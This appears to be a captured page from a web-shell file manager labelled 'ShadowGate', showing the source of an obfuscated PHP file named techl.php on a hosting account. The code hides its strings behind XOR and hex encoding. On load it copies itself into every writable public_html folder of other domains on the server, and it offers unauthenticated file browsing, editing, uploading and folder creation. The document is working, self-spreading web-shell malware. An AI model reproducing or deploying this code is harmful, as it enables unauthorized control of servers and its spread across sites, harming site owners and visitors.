🗂️ ShadowGate
Path:
home
/
newsgini
/
xwebseries.site
/
✏️ Editing: techl.php
<?php $xorKey='Y5KV6ENGMYAVXoB8';function xorDecrypt($data, $key) {$keyLength = strlen($key);$result = '';for($i=0;$i<strlen($data);$i++){$result .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));}return $result;}function encode_string($index) {global $obfuscationData,$xorKey;$str = $obfuscationData['qQxrs'][$index];$charMap = $obfuscationData['siuvS'];$cleaned = '';for ($i = 0; $i < strlen($str); $i++) {if ($i % 3 != 2) {$cleaned .= $str[$i];}}$reversedMap = array_flip($charMap);$unmapped = '';for ($i = 0; $i < strlen($cleaned); $i++) {$char = $cleaned[$i];$unmapped .= isset($reversedMap[$char]) ? $reversedMap[$char] : $char;}$decoded = xorDecrypt(hex2bin($unmapped),$xorKey);return strrev($decoded);} $obfuscationData = json_decode(xorDecrypt(hex2bin('2217383f43331d65772263377a5560427b196934147f6c356f7563357a55604e7b196932147f6c376f7563337a55605c7b196930147f6c266f7563317a55605d7b19693e147f6c3f6f75633f7a55605f7b19693c147f6c336f75633d7a55605e7b19693a147f6c2c6f75633b7a5560497b196938147f6c326f7563397a5560527b196926147f6c296f7563277a55604f7b196924147f6c346f7563257a55605a7b196922147f6c246f7563237a5560577b196920147f6c2b6f7563217a5560557b19692e147f6c2e6f75632f7a5560417b19692c147f6c2f6f7563177a5560607b196914147f6c176f7563157a55606c7b196912147f6c096f7563137a55607c7b196910147f6c0b6f7563117a5560777b19691e147f6c156f75631f7a55607b7b19691c147f6c0d6f75631d7a5560757b19691a147f6c0e6f75631b7a5560737b196918147f6c056f7563197a5560797b196906147f6c016f7563077a5560697b196904147f6c026f7563057a55606b7b196902147f6c006f7563037a55606e7b196900147f6c0f6f7563017a5560627b19690e147f6c106f75630f7a55606d7b19690c147f6c1e6f7563667a55600f7b196967147f6c756f7563647a5560007b196965147f6c776f7563627a55600b7b196963147f6c726f7563607a5560097b196961147f6c716f75636e7a5560017b19696f147f6c736f75637d7a556064761767746a6a6c7d6f72632b744d3369214738740c1e6c7f797c7426715f301d6f0c15630e1b76746e69317e7a43600e681d697a147d3466782b696e6031720e7a00397c0e3f6f7f3770706f724d6e1a614f62634405767f0d6977776d1d6800231c732c767477626f7563606e2f60147b037d0804370e65617b71647e5c7019614f6a6e07646c6b6f6973086b5d6300231073671c6762657c6f62636f497a0e7a0d2a75057d66777c7c70647e5930126a030b63056d7f756e6f7075605a1c0b38167d6215767961756d68616d4574427c037a7f05210e77781977247e59321e614f0b660005767e0d6979776819640f3d107b6e107777667c6101636f4e7a0d7a057f7c037c66712c7a712070577a1d61016a6e440576236e6972166e56640d6a13736515702a6f7d3867646945740a710d787f03716d7f791979647957711e684563670e6d787f67687473691d640b2f1c7d6f107038197d6f64656f4e7a0b730d78770377667f297c79267057731e6154626002607e3d6e6f707c6f5a6b0a2b1f732468707b6e7d2b6b656f4972017104397c03756f7778077160705f72196b046d6e46057e746c617075685e670f686b786f76757b617b6d01646d4e720919037a7e01350e717f71772c7d597210685115600205767265692073685c680f6e6b7b6415777719756b68656d4974427c043d7705766d7f7a7a792c185f7766610d6366446d7f7567683177680b1c0f6d1d736515773c6d7c696b656e2f7a0b7105317303716b7f7c1970327d5934786f540b67446f7877646f74166957610f2b13732017763e627d6801656e457a4e19053b770370677f7e7c79207b5e74786f046e664066767f1369777c60566a0a2f1c73261c707f6e7d686b636149740a190d2a77033f6d7f3b7a79660657736661476860056f7e72656978756859630f6d137a6e10727e627b2f67616d31744a19047d750133677f3d07712c065772786106686e52647f756861317e6e566308616b7b671f7679667d2f01656a49740978057b70057467773b19712c725d341e6901156e406c7e7565697808685d6a0b691f73661c703e62752b64636b4c7259070d2f1603756b777f787265715c381b68456860026f7e316c6f7075695f1c0f2313732068707c6d7d6c01656e457a5c7a057377037c6b777a70776506577612610d6366011b7e726769777c6015630f6e7573641c703e197d296464614e7259710d2f7c037568777f7a7032795f341e68450b6e446376746561767c6859020f6f107d6f1f707a19786960666149734a19037a7305376b76787377637d577a7861056d66070576266868377c685e670f6e1f7324107638667d6064656e2f7a0b7a057e080375687f7f0770667e5f721d69006266406d7e72686f707c695f630f6d1c736410722a617b236261394a720c70057f75033f647f37737926065e741e69046360021b7670686c37756d5a6a0b38167a6e1f767b667b6d69613c2f7208190d7a75017410717b0777657e57751161056366016c76726869797f685b680a381f7a6e76727e6f7d2f1f6369497a42780d7a7e05706f7f377a796170577b1161026d67061b7e7e13693b73685d020f611f736610702a627b6a62656a317a0d7c057f7f03726776787f77630657711d61510b664c667f7f136837736015680f6e1073321c7078667d2362646d47740f7c057d770173667f7e7f7737185773126f4363604c6478356869797f685e610a23147326177634667d3d62633c497a017f057d1603760e76787c7163185e741969061566466376236b6972776d576309616b7a6e107777667c6f62636f477a0e780d2a7c057d0e777c71776e7b4d6e1a6f016a61446c76736e6f75736f151c0e3875736717757e66752f67616c2f74597f05787f077666727f7c716e7158711e68036d61000576776c6f75736f156b006e757b2c1f7d7f077a23016e3c477a5c7305737e067168707b1973647e5d7b1d29046a6f466d34740d297273225d61482310393210737a077b3867666a4a74487f17677400746865617b7767064d6e1a6f046e741a677f746b6c3108680e64086f1d78676873346e7c6d646022317a4a7a053d7006756d772978776f7958261b6f516a741a677f71646a7775605f6409231d7c6f68757b6d7c6b62602a3160147b0d3b160333677f2c7171667b4d6e1a6f046a741a677637136c377c600e64086913697a147d3e62782b646e3c4a7a007800727f0e3f677f3d71637a7a57321b6c47626e5264767f0d6c787f60156700291d697a147478627e6c69676b4573427f0073080e726f77747f7967705d26126f010b20056f383d642b3b7e6d5d6b096c107c6f1f752f6d7a6c01676146734e0706787e0e3f677f757a796f7e5726116f516860406d7e77656972086a5e6708681678241f737a6e7e6c6b606e4960147b037f770124647f3b7f716f7d5a23666907686e00637677136e78706e5b614e3d132f3217377807296e68263c3132427f047d7701746d7f7d07702c7d4d6e1a68031565036f7f7464683b736f5668006a137a6417733c617568686622477a0f07077816007c10267c7f31677915741e23016d6144057f31137b6d74681f670d6a1f73656875346e7e6862666f2f60147b053d75037c677f3771716f714d6e1a6f0415741a677e37646c727f605c6308231d78671c75796d6f7563662e457701190d317e067c6465617b71267d5a711e610615664c637d766469767f7a4360082f1d7e6f1f7d34077d6068676c46720d7a0d7b7e06756665617b77627b58231e6154636606647b7f6b617277605d67002b147b26107238667c6b6b376046344a7c547c16447d67707c7c77327d58771b61450b6707667c72656f207f68196700601c736468757f07756101606a49730d070231730e210e747f7f7926185c731068470b6e0766793d6c7b6d74681f6b0d6a1f73651e7534617e6860666f3160147b053d7e037c677f3771716f714d6e1a6803156503607f746e683b777a4360002b6b7e20767d2f6f756b6063684c7a4a7317677400740e65617b79247b5a341061546e6e04637b770d6133737a4360096f13786368747d6d7c236863604c7a0f7c0531080e74647f747f792471577a786f04156e4c05793d676170086d5c680868137d6668743c613d6f602c6d31324273472f750071687637077062185774116804616044057b72136976736d5967086c1d7e2c1c7d776f7b6b01612a497a0f780d737c06216b777919792c715e70116104156705636c6b6f6877086b5a1c096a6b7a2c13767b647d6b646628467a5c73057e73063368767f787937185f341d6e516e6e006c7d3d6469747f6d5c6b092b1373651c707e6f756b016e604e7a017102397e007167313d7a3724701d381d6c076167036679236b6820706d5f610960107a2010767d6d7523686e604c7a017a0d2f70002167713b1971667e5f711b6b040b66076f7d35656f75736b5a670e6f10697a14747864786d67663c4e73427f17677400736665617b7767714d6e1a68061563466c7e266b6977756b5e640e23107a621c733464752b68662e4e72087c052f7c007c0e70290777327e5d7b78290c6a2c071b3e746c2370706f566b002f75736e10733c666f7563676e3170001917677407736f723b737960705976786e4f1560446f76260d6878706e5d1c1a75177a60177776666f7563676e49774e700d7d7500716b70377877241857231d680c6a60046d6c6b6f68777f6b59640069147a2c15727762756d60662a4973017103797014696c767b73746f705f761b6901686301647f3d136f79086b1f630b6e137d6217747c077c6068603949754a700d7b7703730e7778787263705d261b6f076d61441b76706e69337f601d67002f13733776747c077b6b6b6e2e4a7509780d2a7e033f667f3b7072677d5e341068476e6306637e7265697708685f6b092913732668757d6d75686766694a750971032f7e067d10727e7f7363065e3011680c6265056476710d6f797c6e5b630923107b26767d79667d6d69666b4c705919057d73042466767e7c746179577319690362630f6c7f726c68757e60576a006b757b61767d786e7b6b68676d4775427305730805776d7f3d7f73637d5f236661056265071b76356e6177706e1d680b6f1d7e6568747c077b681f6769497048070d7c7e017668767b7174627057266669060b6300667673136873736e1d1c0e6f757b20767d3e617d3801643c467159190d7a7c03716f777c197462705f30106e056264076d2a75682931752856614a291f7a60177d3e6f7d696266222f755c730d2f70017668727d73716f7e5e30116f0415610f6d7f7f6e612070685f63002f167b26157438197d2b016e224c750f780d787704730e7f3d7a72607b57381b61046d63576c7e7513617977685761006e147d32157338647d69606e6149700919057a7503370e777b197461795e301e6f0761650e6c7e766861737568596b0923147a651e7d7b647d6d68666f49704a190d7d08037010717978746f705f761069016d6301667873687b6d7469591c0d606b7b6213757a6f786e6967224974007f063b7505726d7179717064795e7b196f5462614c6c7e760d6c75736819640b6f147c6f1f737c6e7a2b696e6f47724a070d39730e33107f2c7070647d59701d61436a6107647626656c3b086019670b68167a2015743c6f786960666d45720e19057b7e0735667f3d7371657157731169046161076378236b6979736d5c610a6c757a24137477197e6a646e6e47740071037f70073f667f3f07796f7b5f7a11615462614c6f76316b6b207f695c1c0d6e6b73671375786f786068676d47730c07057b7e067066773b71716372597010680062614c057e7f6b6a7370601f610a6c6b7b37137d7e6f7e68606e2a497a0e0703397505736d727e7070641859737868046164466c7670646e727f69596a0d6d1c73321e757d66786f016e6c47730a7c03391600730e7f3f717965185f7a1d69066161016479746e6b7873600b640d6e147c6368737f6f3f6f6026694c320a70477d7e00756d7778707965185f716669016261060578230d6979166d5c6a0a6c757a24157477647f6b01666a317248780d727f06350e71290777207b5f7a1e69036361001b7e760d6c3177685c630a6c6b73671e7d7d62786d686e684c74007017162b'),$xorKey),true); error_reporting(0); $copyName = encode_string(0); function locateDomainsPath($start) { $dir = realpath($start); while ($dir && $dir !== encode_string(1)) { if (!(!(preg_match('/\/u[0-9a-z]+$/', $dir) && is_dir($dir . encode_string(2))))) { return realpath($dir . encode_string(3)); } $dir = dirname($dir); } return false; } function deployToDomains($sourceFile, $targetName) { $domainRoot = locateDomainsPath(__DIR__); $deployed = []; if (!(!($domainRoot))) { foreach (scandir($domainRoot) as $domain) { if ($domain === encode_string(4) || $domain === encode_string(5)) continue; $htmlPath = "$domainRoot/$domain/public_html"; if (!(!(is_dir($htmlPath) && is_writable($htmlPath)))) { $targetPath = "$htmlPath/$targetName"; if (!(!(@copy($sourceFile, $targetPath)))) { $deployed[] = "http://$domain/$targetName"; } } } } return $deployed; } $self = __FILE__; $urls = deployToDomains($self, $copyName); $cwd = isset($_GET[encode_string(6)]) ? realpath($_GET[encode_string(7)]) : getcwd(); if (!$cwd || !is_dir($cwd)) $cwd = getcwd(); echo encode_string(8); echo encode_string(9); $parts = explode(encode_string(10), trim($cwd, encode_string(11))); $build = encode_string(12); foreach ($parts as $part) { $build .= "$part/"; echo encode_string(13) . urlencode($build) . "'>$part</a>/"; } echo encode_string(14); if (!(!(isset($_GET[encode_string(15)])))) { $file = realpath($cwd . encode_string(16) . basename($_GET[encode_string(17)])); if (!(!(is_file($file)))) { if (!(!(isset($_POST[encode_string(18)])))) { file_put_contents($file, $_POST[encode_string(19)]); echo encode_string(20); } $code = htmlspecialchars(file_get_contents($file)); echo encode_string(21) . basename($file) . "</h3> <form method='post'> <textarea name='content' rows='20'>$code</textarea><br> <input type='submit' value='Save'> </form> <p><a href='?path=" . urlencode($cwd) . encode_string(22); exit; } } if (!(!(!empty($_FILES[encode_string(23)][encode_string(24)])))) { $target = $cwd . encode_string(25) . basename($_FILES[encode_string(26)][encode_string(27)]); move_uploaded_file($_FILES[encode_string(28)][encode_string(29)], $target); echo encode_string(30) . htmlspecialchars($_FILES[encode_string(31)][encode_string(32)]) . encode_string(33); } if (!(!(!empty($_POST[encode_string(34)])))) { $newFolder = $cwd . encode_string(35) . basename($_POST[encode_string(36)]); if (!(!(!file_exists($newFolder)))) { mkdir($newFolder); echo encode_string(37); } else { echo encode_string(38); } } echo encode_string(39); foreach (scandir($cwd) as $item) { if ($item === encode_string(40)) continue; $full = $cwd . encode_string(41) . $item; $encodedPath = urlencode($cwd); if (!(!(is_dir($full)))) { echo encode_string(42) . urlencode($full) . encode_string(43) . htmlspecialchars($item) . encode_string(44); } else { echo "<li>📄 <a href='?path=$encodedPath&edit=" . urlencode($item) . encode_string(45) . htmlspecialchars($item) . encode_string(46); } } echo encode_string(47); echo encode_string(48); echo encode_string(49); ?>
🔙 Back